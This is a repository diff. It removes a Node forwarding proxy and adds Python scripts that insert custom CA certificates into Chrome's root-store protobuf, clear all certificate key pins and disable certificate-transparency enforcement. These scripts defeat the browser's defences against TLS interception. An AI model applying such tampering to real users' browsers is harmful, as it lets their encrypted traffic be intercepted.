"resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
"integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
"license": "MIT",
"funding": {
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/methods": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
"integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/mime": {
"version": "1.6.0",
"resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
"integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
"license": "MIT",
"bin": {
"mime": "cli.js"
},
"engines": {
"node": ">=4"
}
},
"node_modules/mime-db": {
"version": "1.52.0",
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
"integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/mime-types": {
"version": "2.1.35",
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
"integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
"dependencies": {
"mime-db": "1.52.0"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/ms": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
"integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
"license": "MIT"
},
"node_modules/negotiator": {
"version": "0.6.3",
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
"integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/node-domexception": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
"integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/jimmywarting"
},
{
"type": "github",
"url": "https://paypal.me/jimmywarting"
}
],
"engines": {
"node": ">=10.5.0"
}
},
"node_modules/node-fetch": {
"version": "3.3.2",
"resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz",
"integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==",
"dependencies": {
"data-uri-to-buffer": "^4.0.0",
"fetch-blob": "^3.1.4",
"formdata-polyfill": "^4.0.10"
},
"engines": {
"node": "^12.20.0 || ^14.13.1 || >=16.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/node-fetch"
}
},
"node_modules/object-inspect": {
"version": "1.13.3",
"resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.3.tgz",
"integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/on-finished": {
"version": "2.4.1",
"resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
"integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
"license": "MIT",
"dependencies": {
"ee-first": "1.1.1"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/parseurl": {
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
"integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/path-to-regexp": {
"version": "0.1.12",
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
"integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==",
"license": "MIT"
},
"node_modules/proxy-addr": {
"version": "2.0.7",
"resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
"integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
"dependencies": {
"forwarded": "0.2.0",
"ipaddr.js": "1.9.1"
},
"engines": {
"node": ">= 0.10"
}
},
"node_modules/proxy-from-env": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
"integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
},
"node_modules/qs": {
"version": "6.13.0",
"resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz",
"integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==",
"license": "BSD-3-Clause",
"dependencies": {
"side-channel": "^1.0.6"
},
"engines": {
"node": ">=0.6"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/range-parser": {
"version": "1.2.1",
"resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
"integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/raw-body": {
"version": "2.5.2",
"resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz",
"integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==",
"license": "MIT",
"dependencies": {
"bytes": "3.1.2",
"http-errors": "2.0.0",
"iconv-lite": "0.4.24",
"unpipe": "1.0.0"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/safe-buffer": {
"version": "5.2.1",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
"integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/feross"
},
{
"type": "patreon",
"url": "https://www.patreon.com/feross"
},
{
"type": "consulting",
"url": "https://feross.org/support"
}
]
},
"node_modules/safer-buffer": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
"license": "MIT"
},
"node_modules/send": {
"version": "0.19.0",
"resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
"integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
"license": "MIT",
"dependencies": {
"debug": "2.6.9",
"depd": "2.0.0",
"destroy": "1.2.0",
"encodeurl": "~1.0.2",
"escape-html": "~1.0.3",
"etag": "~1.8.1",
"fresh": "0.5.2",
"http-errors": "2.0.0",
"mime": "1.6.0",
"ms": "2.1.3",
"on-finished": "2.4.1",
"range-parser": "~1.2.1",
"statuses": "2.0.1"
},
"engines": {
"node": ">= 0.8.0"
}
},
"node_modules/send/node_modules/encodeurl": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
"integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/send/node_modules/ms": {
"version": "2.1.3",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
"license": "MIT"
},
"node_modules/serve-static": {
"version": "1.16.2",
"resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
"integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
"license": "MIT",
"dependencies": {
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"parseurl": "~1.3.3",
"send": "0.19.0"
},
"engines": {
"node": ">= 0.8.0"
}
},
"node_modules/setprototypeof": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
"integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
"license": "ISC"
},
"node_modules/side-channel": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
"integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
"object-inspect": "^1.13.3",
"side-channel-list": "^1.0.0",
"side-channel-map": "^1.0.1",
"side-channel-weakmap": "^1.0.2"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/side-channel-list": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
"integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
"object-inspect": "^1.13.3"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/side-channel-map": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
"integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
"license": "MIT",
"dependencies": {
"call-bound": "^1.0.2",
"es-errors": "^1.3.0",
"get-intrinsic": "^1.2.5",
"object-inspect": "^1.13.3"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/side-channel-weakmap": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
"integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
"license": "MIT",
"dependencies": {
"call-bound": "^1.0.2",
"es-errors": "^1.3.0",
"get-intrinsic": "^1.2.5",
"object-inspect": "^1.13.3",
"side-channel-map": "^1.0.1"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/statuses": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
"integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/toidentifier": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
"integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
"license": "MIT",
"engines": {
"node": ">=0.6"
}
},
"node_modules/type-is": {
"version": "1.6.18",
"resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
"integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
"license": "MIT",
"dependencies": {
"media-typer": "0.3.0",
"mime-types": "~2.1.24"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/unpipe": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
"integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/utils-merge": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
"integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
"engines": {
"node": ">= 0.4.0"
}
},
"node_modules/vary": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
"integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/web-streams-polyfill": {
"version": "3.3.3",
"resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz",
"integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==",
"engines": {
"node": ">= 8"
}
}
}
}

View File

@ -1,7 +0,0 @@
{
"dependencies": {
"axios": "^1.7.3",
"express": "^4.19.2",
"node-fetch": "^3.3.2"
}
}

56
pins.proto Normal file
View File

@ -0,0 +1,56 @@
// Copyright 2022 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
syntax = "proto3";
package chrome_browser_key_pinning;
option optimize_for = LITE_RUNTIME;
// Copyright 2022 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
message KPTimestamp {
int64 seconds = 1;
int32 nanos = 2;
}
message PinSet {
// Name of the pinset.
string name = 1;
// Set of allowed SPKIs hashes, represented as the SHA256 of the public key.
repeated bytes static_spki_hashes_sha256 = 2;
// Optional set of forbidden SPKIs hashes, represented as the SHA256 of the
// public key.
repeated bytes bad_static_spki_hashes_sha256 = 3;
// Optional URI to send bad pin reports to.
string report_uri = 4;
}
message PinSetInfo {
// Hostname this pinset applies to.
string hostname = 1;
// Name of the pinset.
string pinset_name = 2;
// Whether this pinset applies to subdomains.
bool include_subdomains = 3;
}
message PinList {
// Timestamp at which the list was last considered up-to-date. This is updated
// periodically even if the list contents do not change.
KPTimestamp timestamp = 1;
// Compatibility version incremented if the list structure changes in a non
// backwards compatible way.
uint64 compatibility_version = 2;
// All known pinsets.
repeated PinSet pinsets = 3;
// List of known hosts with pins. Each element represents a different
// hostname, and includes the name of the pinset that applies to it, and
// whether it applies to subdomains.
repeated PinSetInfo host_pins = 4;
}

23
proxy.d.ts vendored
View File

@ -1,23 +0,0 @@
interface ServerConfig {
filters: FilterType[],
filterPath?: string,
proxyPath?: string,
reverseProxyUrl?: string
}
interface FilterInfo {
tls: boolean,
host: string,
path?: string // Only valid if tls is false
}
declare global {
type FilterType = "http"|"https"
}
declare type FilterFunction = (filterInfo: FilterInfo)=>Promise<boolean>|boolean
export { ServerConfig, FilterInfo, FilterFunction }

200
proxy.js
View File

@ -1,200 +0,0 @@
const fs = require('fs')
const express = require('express');
const https = require('https');
const path = require('path');
const net = require('net');
const server = net.createServer();
// miniServerMap[host] = new MiniServer();
/**
* @type {Object<string,MiniServer>}
*/
var miniServerMap = {};
// manifest.json is per website
// Location: configs/<website name>/manifest.json (ex. www.google.com/manifest.json)
/**
* @type {import('./proxy').ServerConfig}
*/
let a;
/**
* @type {Object<string, {
* filter: (f: import('./proxy').FilterInfo)=>void,
* proxy: (config: import('./proxy').ServerConfig, clientsock: net.Socket)=>void,
* config: import('./proxy').ServerConfig
* }>}
*/
let serverCallbackMap = {};
/**
*
* @param {import('./proxy').ServerConfig} config
*/
function readServerConfig(address, config) {
/**
*
* @returns {import('./proxy').FilterFunction}
*/
const defaultServerFilterGetter = function () {
if (config.filterPath) { // Filter path takes precedence as it handles all cases
return require(filterPath).filter;
}
else if (config.filters) {
return function ({tls}) {
if (tls) {
return config.filters.includes('https');
}
else {
return config.filters.includes('http');
}
}
}
}
const defaultServerProxyGetter = function () {
if (config.proxyPath) { // Proxypath takes precedence over rev proxy due to js handling nature
return require(path.resolve(__dirname,"configs", address, config.proxyPath)).proxy;
}else if (config.reverseProxyUrl) {
const url = config.reverseProxyUrl;
const a = url + req.path;
const x = new URL(a);
const socketDNS = x.host;
/**
* @param {net.Socket} clientsock
*/
return function (config, clientsock) {
const as = net.createConnection({
host: x.host,
port: parseInt(x.port)
});
clientsock.pipe(as);
}
}
}
const configData = {filter: defaultServerFilterGetter, proxy: defaultServerProxyGetter, config};
return configData;
}
function getAllServerConfigs() {
const allConfigDir = path.resolve(__dirname, 'configs');
const a = fs.readdirSync(allConfigDir);
for (const server of a){
console.info("Reading config for: ", server);
var serverPath = null;
const files = fs.readdirSync((serverPath = path.resolve(allConfigDir, server)));
if (!files.includes("manifest.json")) {
console.error(`Could not read config for ${server}. Moving on to next server`);
continue;
}
const manifestData = fs.readFileSync(path.resolve(serverPath, 'manifest.json'), {encoding: 'utf8'});
console.log(manifestData)
/**
* @type {import('./proxy').ServerConfig}
*/
const serverConfig = JSON.parse(manifestData);
const funcs = readServerConfig(server,serverConfig);
serverCallbackMap[serverConfig.matches ?? server] = funcs;
}
}
getAllServerConfigs()
// FilterInfo: {
// host: string,
// tls: boolean,
//}
server.on('connection', (clientToProxySocket) => {
// We need only the data once, the starting packet
// console.log("client connected");
clientToProxySocket.once('data', (data) => {
let isTLSConnection = data.toString().indexOf('CONNECT') !== -1;
var path = null;
//Considering Port as 80 by default
let serverPort = 80;
let serverAddress;
var useMiniServer= false;
if (isTLSConnection) {
// Port changed to 443, parsing the host from CONNECT
serverPort = 443;
serverAddress = data.toString()
.split('CONNECT ')[1]
.split(' ')[0].split(':')[0];
// console.log(serverAddress);
} else {
// Parsing HOST from HTTP
serverAddress = data.toString()
.split('Host: ')[1].split('\r\n')[0];
const firstLine = data.toString().split('\r\n')[0];
path = firstLine.split(' ')[1];
// console.log(serverAddress);
}
console.log(serverAddress);
console.log(isTLSConnection);
var isFiltered = false;
var using = null;
Object.keys(serverCallbackMap).forEach((v)=>{
// console.log("Proxy is: "+ v);
// console.log(new RegExp(v).test(serverAddress));
if (new RegExp(v).test(serverAddress)) {
// It matches. We should run the handler.
using = v;
isFiltered = serverCallbackMap[v].filter({
tls: isTLSConnection,
host: serverAddress,
path: path
});
// console.log(isFiltered);
}
})
console.log(isFiltered);
if (isFiltered) {
serverCallbackMap[using].proxy()(serverCallbackMap[using].config, clientToProxySocket);
return;
}
let proxyToServerSocket = net.createConnection({
host: serverAddress,
port: serverPort
}, () => {
// console.log('PROXY TO SERVER SET UP');
if (isTLSConnection) {
//Send Back OK to HTTPS CONNECT Request
clientToProxySocket.write('HTTP/1.1 200 OK\r\n\n');
} else {
proxyToServerSocket.write(data);
}
// Piping the sockets
clientToProxySocket.pipe(proxyToServerSocket);
proxyToServerSocket.pipe(clientToProxySocket);
proxyToServerSocket.on('error', (err) => {
// console.log('PROXY TO SERVER may have disconnected.');
// console.log(err);
});
});
proxyToServerSocket.on('error', (e)=>{
console.log(e);
})
clientToProxySocket.on('error', err => {
console.log('CLIENT TO PROXY may have disconnected.');
});
});
});
server.on('error', (err) => {
console.log('SERVER ERROR');
console.log(err);
});
server.on('close', () => {
console.log('Client Disconnected');
});
server.listen(8126, () => {
console.log('Server running at http://localhost:' + 8126);
});
//Source code below is for creating a mini server or a server that serves requests within memory.(or not)

3
setup_venv.sh Normal file
View File

@ -0,0 +1,3 @@
#!/bin/bash
source ./.venv/bin/activate
pip3 install protobuf

View File

@ -0,0 +1,56 @@
import sys
import os.path as path
import pathlib
import importlib.util
import sys
import crs_pb2
from pathlib import Path
import pins_pb2
import ct_pb2
def usage():
print("Usage: <proto input> <new ca key>... <proto output>")
cwd = path.dirname(path.abspath(sys.argv[0]))
if len(sys.argv) < 4:
usage()
exit(-1)
cas = []
for a in sys.argv[2:-1:]:
print(f"Registering CA from {a}")
cas.append(a)
outfile = sys.argv[-1]
print(f'reading from: {sys.argv[1]}')
print(f"Outputing to: {outfile}")
out = open(outfile, 'wb')
buf= open(sys.argv[1], 'rb')
rs = crs_pb2.RootStore()
rs.ParseFromString(buf.read())
print(rs.trust_anchors)
for ca in cas:
with open(ca, 'rb') as file:
print(f"""Loading Certificate Authority at path "{ca}" into rootstore""")
der = file.read()
next_trust_anchor = crs_pb2.TrustAnchor()
next_trust_anchor.Clear()
next_trust_anchor.der = der
next_trust_anchor.display_name = "Success!"
print(next_trust_anchor.constraints)
rs.trust_anchors.append(next_trust_anchor)
rs.version_major = 30
out.write(rs.SerializeToString())
out.close()
pins = Path(path.join(path.dirname(sys.argv[-1]), 'kp_pinslist.pb'))
pins_pb = pins_pb2.PinList()
pins_pb.ParseFromString(pins.read_bytes())
while len(pins_pb.host_pins) != 0:
pins_pb.host_pins.pop()
pins.write_bytes(pins_pb.SerializeToString())
ct = Path(path.join(path.dirname(sys.argv[-1]), 'ct_config.pb'))
ct_pb = ct_pb2.CTConfig()
ct_pb.ParseFromString(ct.read_bytes())
ct_pb.disable_ct_enforcement = True
ct.write_bytes(ct_pb.SerializeToString())

View File

@ -0,0 +1,10 @@
#!/bin/python3
import crs_pb2
import sys
if (len(sys.argv) < 2):
print("Usage: <chrome root store protobuf file>")
exit(-1)
rs = crs_pb2.RootStore()
with open(sys.argv[1], 'rb') as f:
rs.ParseFromString(f.read())
print(rs)

View File

@ -1,5 +0,0 @@
{
"typeAcquisition": {
"enable": true
}
}